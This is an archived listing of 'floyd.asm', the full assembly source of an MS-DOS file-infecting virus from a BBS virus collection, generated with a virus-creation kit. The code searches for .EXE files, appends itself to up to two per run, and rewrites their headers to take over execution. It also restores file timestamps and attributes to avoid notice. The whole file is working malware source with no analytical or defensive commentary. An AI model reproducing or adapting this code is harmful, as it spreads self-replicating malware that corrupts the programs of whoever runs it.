home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / floyd.asm < prev    next >
Assembly Source File  |  1994-04-11  |  7KB  |  238 lines

  1. ; Floyd : Floyd (c) by HypoDermic!! Part of the Mayberry Family!!!
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     0B2DCh
  5. INFECT          equ     2
  6. MARKER          equ     06864h
  7.  
  8. code            segment
  9.                 org     100h
  10.                 assume  cs:code,ds:code
  11.  
  12. start:
  13.                 db      0E9h,3,0          ; to virus
  14. host:
  15.                 db      0CDh,20h,0        ; host program
  16. virus_begin:
  17.                 call    $ + 3             ; BP is instruction ptr.
  18.                 pop     bp
  19.                 sub     bp,offset $ - 1
  20.  
  21.                 push    ds es
  22.  
  23.                 push    cs
  24.                 pop     ds
  25.                 lea     dx,[bp + offset new_DTA]
  26.                 mov     ah,1Ah
  27.                 int     21h
  28.  
  29.                 mov     byte ptr [bp + infections],0
  30.  
  31.                 push    [bp + exe_cs]
  32.                 push    [bp + exe_ip]
  33.                 push    [bp + exe_ss]
  34.                 push    [bp + exe_sp]
  35.                 call    infect_dir
  36.  
  37.                 pop     [bp + exe_sp]
  38.                 pop     [bp + exe_ss]
  39.                 pop     [bp + exe_ip]
  40.                 pop     [bp + exe_cs]
  41.                 pop     es ds
  42.                 mov     dx,80h
  43.                 mov     ah,1Ah
  44.                 int     21h
  45.  
  46. exe_exit:
  47.                 mov     ax,ds                   ; fix up return address
  48.                 add     ax,10h
  49.                 push    ax
  50.                 add     ax,cs:[bp + exe_cs]
  51.                 mov     cs:[bp + return_cs],ax
  52.  
  53.                 mov     ax,cs:[bp + exe_ip]
  54.                 mov     cs:[bp + return_ip],ax
  55.  
  56.                 pop     ax
  57.                 add     ax,cs:[bp + exe_ss]        ; restore stack
  58.                 cli
  59.                 mov     ss,ax
  60.                 mov     sp,cs:[bp + exe_sp]
  61.  
  62.                 call    fix_regs                ; fix up registers
  63.                 sti
  64.  
  65.                 db      0EAh                    ; back to host program
  66. return_ip       dw      0
  67. return_cs       dw      0
  68.  
  69. exe_cs          dw      -16                     ; orig CS:IP
  70. exe_ip          dw      103h
  71. exe_sp          dw      -2                      ; orig SS:SP
  72. exe_ss          dw      -16
  73.  
  74. fix_regs:
  75.                 xor     ax,ax
  76.                 cwd
  77.                 xor     bx,bx
  78.                 mov     si,100h
  79.                 xor     di,di
  80.                 xor     bp,bp
  81.                 ret
  82.  
  83.  
  84. infect_dir:
  85.                 mov     ah,4Eh
  86.                 lea     dx,[bp + find_me]
  87.                 int     21h
  88.                 jc      infect_done
  89.  
  90. next_file:
  91.                 lea     dx,[bp + new_DTA + 1Eh]
  92.                 call    execute
  93.                 cmp     byte ptr [bp + infections],INFECT
  94.                 je      infect_done
  95.                 mov     ah,4Fh
  96.                 int     21h
  97.                 jnc     next_file
  98.  
  99. infect_done:
  100.                 ret
  101. execute:
  102.                 push    si
  103.  
  104.                 mov     ax,4300h                ; change attributes
  105.                 int     21h
  106.  
  107.                 push    cx dx ds
  108.                 xor     cx,cx
  109.                 call    set_attributes
  110.  
  111.                 mov     ax,3D02h                ; open file
  112.                 int     21h
  113.                 jc      cant_open
  114.                 xchg    bx,ax
  115.  
  116.                 mov     ax,5700h                ; save file date/time
  117.                 int     21h
  118.                 push    cx dx
  119.                 mov     ah,3Fh
  120.                 mov     cx,28
  121.                 lea     dx,[bp + read_buffer]
  122.                 int     21h
  123.  
  124.                 cmp     word ptr [bp + read_buffer],'ZM'
  125.                 je      infect_exe              ; yes, infect as .EXE
  126.  
  127.                 jmp     dont_infect
  128.  
  129. fix_date_time:
  130.                 pop     dx cx
  131.                 mov     ax,5701h                ; restore file date/time
  132.                 int     21h
  133.  
  134.                 inc     byte ptr [bp + infections]
  135.  
  136. close:
  137.                 pop     ds dx cx                ; restore attributes
  138.                 call    set_attributes
  139.  
  140.                 mov     ah,3Eh                  ; close file
  141.                 int     21h
  142.  
  143. cant_open:
  144.                 pop     si
  145.                 ret
  146.  
  147.  
  148. set_attributes:
  149.                 mov     ax,4301h
  150.                 int     21h
  151.                 ret
  152.  
  153. dont_infect:
  154.                 pop     cx dx                   ; can't infect, skip
  155.                 jmp     close
  156.  
  157. infect_exe:
  158.                 cmp     word ptr [bp + read_buffer + 26],0
  159.                 jne     dont_infect             ; overlay, don't infect
  160.  
  161.                 cmp     word ptr [bp + read_buffer + 16],MARKER
  162.                 je      dont_infect             ; infected already
  163.  
  164.                 les    ax,dword ptr [bp + read_buffer + 20]
  165.                 mov    [bp + exe_cs],es
  166.                 mov    [bp + exe_ip],ax
  167.                 les    ax,dword ptr [bp + read_buffer + 14]
  168.                 mov    [bp + exe_ss],ax
  169.                 mov    [bp + exe_sp],es
  170.                 mov    word ptr [bp + read_buffer + 16],MARKER
  171.                 mov     ax,4202h                ; to end of file
  172.                 cwd
  173.                 xor     cx,cx
  174.                 int     21h
  175.  
  176.                 push    ax dx                   ; save file size
  177.  
  178.                 push    bx
  179.                 mov     cl,12                   ; calculate offsets for CS
  180.                 shl     dx,cl                   ; and IP
  181.                 mov     bx,ax
  182.                 mov     cl,4
  183.                 shr     bx,cl
  184.                 add     dx,bx
  185.                 and     ax,15
  186.                 pop     bx
  187.  
  188.                 sub    dx,word ptr [bp + read_buffer + 8]
  189.                 mov    word ptr [bp + read_buffer + 22],dx
  190.                 mov    word ptr [bp + read_buffer + 20],ax
  191.                 add    dx,100h
  192.                 mov    word ptr [bp + read_buffer + 14],dx
  193.  
  194.                 pop     dx ax                   ; calculate prog size
  195.  
  196.                 add     ax,VIRUS_SIZE
  197.                 adc     dx,0
  198.                 mov     cx,512                  ; in pages
  199.                 div     cx                      ; then save results
  200.                 inc     ax
  201.                 mov     word ptr [bp + read_buffer + 2],dx
  202.                 mov     word ptr [bp + read_buffer + 4],ax
  203.  
  204.                 mov     ah,40h
  205.                 mov     cx,VIRUS_SIZE + 3
  206.                 lea     dx,[bp + virus_begin]
  207.                 int     21h
  208.  
  209.  
  210.                 mov     ax,4200h                ; back to beginning
  211.                 cwd
  212.                 xor     cx,cx
  213.                 int     21h
  214.  
  215.                 mov     ah,40h                  ; and fix up header
  216.                 mov     cx,28
  217.                 lea     dx,[bp + read_buffer]
  218.                 int     21h
  219.                 jmp     fix_date_time           ; done
  220.  
  221. courtesy_of     db      '[BW]',0
  222. signature       db      'Floyd (c) by HypoDermic!! Part of the Mayberry Family!!!',0
  223.  
  224.  
  225. find_me         db      '*.EXE',0
  226. infections      db      0
  227. virus_end:
  228. VIRUS_SIZE      equ     virus_end - virus_begin
  229. read_buffer     db      28 dup (?)              ; read buffer
  230. new_DTA         db      128 dup(?)
  231.  
  232. end_heap:
  233.  
  234. MEM_SIZE        equ     end_heap - start
  235.  
  236. code            ends
  237.                 end     start
  238.